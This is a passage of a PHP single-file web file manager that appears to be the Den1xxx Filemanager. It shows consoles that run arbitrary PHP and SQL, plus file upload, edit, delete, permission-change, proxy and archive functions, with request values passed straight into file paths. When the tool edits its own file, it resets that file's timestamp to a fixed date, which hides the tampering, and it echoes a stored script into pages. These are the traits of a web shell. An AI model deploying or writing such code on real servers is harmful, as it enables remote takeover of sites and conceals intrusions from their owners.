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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
